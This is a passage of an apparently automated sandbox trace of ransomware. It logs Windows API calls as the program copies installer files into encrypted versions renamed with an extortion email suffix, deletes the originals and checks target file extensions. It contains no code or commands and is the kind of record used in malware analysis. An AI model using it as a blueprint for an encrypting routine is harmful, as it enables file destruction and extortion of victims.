lpNumberOfBytesRead=0x2fcfecc*=0xf13, lpOverlapped=0x0) returned 1 [0149.186] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xf20, lpOverlapped=0x0) returned 1 [0149.186] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.187] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe4, lpOverlapped=0x0) returned 1 [0149.187] SetEndOfFile (hFile=0x300) returned 1 [0149.187] CloseHandle (hObject=0x300) returned 1 [0149.188] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.188] SetEndOfFile (hFile=0x330) returned 1 [0149.188] CloseHandle (hObject=0x330) returned 1 [0149.188] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.188] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1 [0149.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0149.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0149.189] lstrlenW (lpString=".doc") returned 4 [0149.189] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0149.189] lstrlenW (lpString=".docx") returned 5 [0149.189] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0149.189] lstrlenW (lpString=".pdf") returned 4 [0149.189] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0149.189] lstrlenW (lpString=".xls") returned 4 [0149.189] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0149.189] lstrlenW (lpString=".xlsx") returned 5 [0149.189] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0149.189] lstrlenW (lpString=".ppt") returned 4 [0149.189] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0149.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0149.189] lstrlenW (lpString=".zip") returned 4 [0149.189] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0149.189] lstrlenW (lpString=".rar") returned 4 [0149.189] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0149.189] lstrlenW (lpString=".bz2") returned 4 [0149.189] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0149.189] lstrlenW (lpString=".7z") returned 3 [0149.189] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0149.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0149.189] lstrlenW (lpString=".dbf") returned 4 [0149.189] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0149.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0149.189] lstrlenW (lpString=".1cd") returned 4 [0149.189] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0149.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0149.189] lstrlenW (lpString=".jpg") returned 4 [0149.189] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0149.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0149.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0149.189] lstrlenW (lpString=".doc") returned 4 [0149.189] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0149.189] lstrlenW (lpString=".docx") returned 5 [0149.189] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0149.189] lstrlenW (lpString=".pdf") returned 4 [0149.189] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0149.189] lstrlenW (lpString=".xls") returned 4 [0149.189] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0149.189] lstrlenW (lpString=".xlsx") returned 5 [0149.189] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0149.190] lstrlenW (lpString=".ppt") returned 4 [0149.190] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0149.190] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0149.190] lstrlenW (lpString=".zip") returned 4 [0149.190] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0149.190] lstrlenW (lpString=".rar") returned 4 [0149.190] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0149.190] lstrlenW (lpString=".bz2") returned 4 [0149.190] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0149.190] lstrlenW (lpString=".7z") returned 3 [0149.190] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0149.190] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0149.190] lstrlenW (lpString=".dbf") returned 4 [0149.190] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0149.190] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0149.190] lstrlenW (lpString=".1cd") returned 4 [0149.190] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0149.190] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0149.190] lstrlenW (lpString=".jpg") returned 4 [0149.190] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0149.190] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0149.190] lstrlenW (lpString="LocalizedData.xml") returned 17 [0149.190] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.190] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=76818) returned 1 [0149.190] CloseHandle (hObject=0x330) returned 1 [0149.190] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0149.190] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.190] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.191] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.191] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.191] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0149.191] GetLastError () returned 0x0 [0149.191] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x12c12, lpOverlapped=0x0) returned 1 [0149.194] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x12c20, lpOverlapped=0x0) returned 1 [0149.195] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.195] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xf6, lpOverlapped=0x0) returned 1 [0149.195] SetEndOfFile (hFile=0x300) returned 1 [0149.195] CloseHandle (hObject=0x300) returned 1 [0149.197] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.197] SetEndOfFile (hFile=0x330) returned 1 [0149.198] CloseHandle (hObject=0x330) returned 1 [0149.198] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.198] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1 [0149.198] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0149.198] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0149.198] lstrlenW (lpString=".doc") returned 4 [0149.198] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.198] lstrlenW (lpString=".docx") returned 5 [0149.198] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.199] lstrlenW (lpString=".pdf") returned 4 [0149.199] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.199] lstrlenW (lpString=".xls") returned 4 [0149.199] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.199] lstrlenW (lpString=".xlsx") returned 5 [0149.199] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.199] lstrlenW (lpString=".ppt") returned 4 [0149.199] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0149.199] lstrlenW (lpString=".zip") returned 4 [0149.199] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.199] lstrlenW (lpString=".rar") returned 4 [0149.199] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.199] lstrlenW (lpString=".bz2") returned 4 [0149.199] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.199] lstrlenW (lpString=".7z") returned 3 [0149.199] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0149.199] lstrlenW (lpString=".dbf") returned 4 [0149.199] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0149.199] lstrlenW (lpString=".1cd") returned 4 [0149.199] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0149.199] lstrlenW (lpString=".jpg") returned 4 [0149.199] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0149.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0149.199] lstrlenW (lpString=".doc") returned 4 [0149.199] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.199] lstrlenW (lpString=".docx") returned 5 [0149.199] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.199] lstrlenW (lpString=".pdf") returned 4 [0149.199] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.199] lstrlenW (lpString=".xls") returned 4 [0149.199] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.199] lstrlenW (lpString=".xlsx") returned 5 [0149.199] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.199] lstrlenW (lpString=".ppt") returned 4 [0149.199] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0149.199] lstrlenW (lpString=".zip") returned 4 [0149.199] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.199] lstrlenW (lpString=".rar") returned 4 [0149.200] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.200] lstrlenW (lpString=".bz2") returned 4 [0149.200] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.200] lstrlenW (lpString=".7z") returned 3 [0149.200] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.200] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0149.200] lstrlenW (lpString=".dbf") returned 4 [0149.200] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.200] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0149.200] lstrlenW (lpString=".1cd") returned 4 [0149.200] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.200] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0149.200] lstrlenW (lpString=".jpg") returned 4 [0149.200] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.200] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0149.200] lstrlenW (lpString="eula.rtf") returned 8 [0149.200] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.200] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5827) returned 1 [0149.200] CloseHandle (hObject=0x330) returned 1 [0149.200] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0149.200] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.200] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.201] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.201] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.201] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0149.201] GetLastError () returned 0x0 [0149.201] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x16c3, lpOverlapped=0x0) returned 1 [0149.499] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x16d0, lpOverlapped=0x0) returned 1 [0149.528] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.528] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe4, lpOverlapped=0x0) returned 1 [0149.528] SetEndOfFile (hFile=0x300) returned 1 [0149.529] CloseHandle (hObject=0x300) returned 1 [0149.529] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.529] SetEndOfFile (hFile=0x330) returned 1 [0149.530] CloseHandle (hObject=0x330) returned 1 [0149.530] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.530] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1 [0149.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0149.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0149.531] lstrlenW (lpString=".doc") returned 4 [0149.531] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0149.531] lstrlenW (lpString=".docx") returned 5 [0149.531] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0149.531] lstrlenW (lpString=".pdf") returned 4 [0149.531] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0149.531] lstrlenW (lpString=".xls") returned 4 [0149.531] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0149.531] lstrlenW (lpString=".xlsx") returned 5 [0149.531] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0149.531] lstrlenW (lpString=".ppt") returned 4 [0149.531] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0149.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0149.531] lstrlenW (lpString=".zip") returned 4 [0149.531] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0149.531] lstrlenW (lpString=".rar") returned 4 [0149.531] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0149.531] lstrlenW (lpString=".bz2") returned 4 [0149.531] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0149.531] lstrlenW (lpString=".7z") returned 3 [0149.531] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0149.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0149.531] lstrlenW (lpString=".dbf") returned 4 [0149.531] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0149.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0149.531] lstrlenW (lpString=".1cd") returned 4 [0149.531] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0149.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0149.531] lstrlenW (lpString=".jpg") returned 4 [0149.531] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0149.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0149.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0149.531] lstrlenW (lpString=".doc") returned 4 [0149.531] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0149.531] lstrlenW (lpString=".docx") returned 5 [0149.531] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0149.531] lstrlenW (lpString=".pdf") returned 4 [0149.532] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0149.532] lstrlenW (lpString=".xls") returned 4 [0149.532] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0149.532] lstrlenW (lpString=".xlsx") returned 5 [0149.532] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0149.532] lstrlenW (lpString=".ppt") returned 4 [0149.532] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0149.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0149.532] lstrlenW (lpString=".zip") returned 4 [0149.532] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0149.532] lstrlenW (lpString=".rar") returned 4 [0149.532] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0149.532] lstrlenW (lpString=".bz2") returned 4 [0149.532] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0149.532] lstrlenW (lpString=".7z") returned 3 [0149.532] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0149.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0149.532] lstrlenW (lpString=".dbf") returned 4 [0149.532] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0149.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0149.532] lstrlenW (lpString=".1cd") returned 4 [0149.532] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0149.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0149.532] lstrlenW (lpString=".jpg") returned 4 [0149.532] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0149.532] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0149.532] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0149.532] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.532] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=93314) returned 1 [0149.532] CloseHandle (hObject=0x330) returned 1 [0149.533] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80 [0149.533] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.533] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.533] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.533] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.533] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0149.533] GetLastError () returned 0x0 [0149.533] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x16c82, lpOverlapped=0x0) returned 1 [0149.536] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x16c90, lpOverlapped=0x0) returned 1 [0149.538] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.538] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xf6, lpOverlapped=0x0) returned 1 [0149.538] SetEndOfFile (hFile=0x300) returned 1 [0149.539] CloseHandle (hObject=0x300) returned 1 [0149.541] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.541] SetEndOfFile (hFile=0x330) returned 1 [0149.542] CloseHandle (hObject=0x330) returned 1 [0149.542] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.543] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1 [0149.543] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0149.543] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0149.543] lstrlenW (lpString=".doc") returned 4 [0149.543] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.543] lstrlenW (lpString=".docx") returned 5 [0149.543] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0149.543] lstrlenW (lpString=".pdf") returned 4 [0149.543] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.543] lstrlenW (lpString=".xls") returned 4 [0149.543] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.543] lstrlenW (lpString=".xlsx") returned 5 [0149.543] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0149.543] lstrlenW (lpString=".ppt") returned 4 [0149.543] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0149.544] lstrlenW (lpString=".zip") returned 4 [0149.544] lstrcmpiW 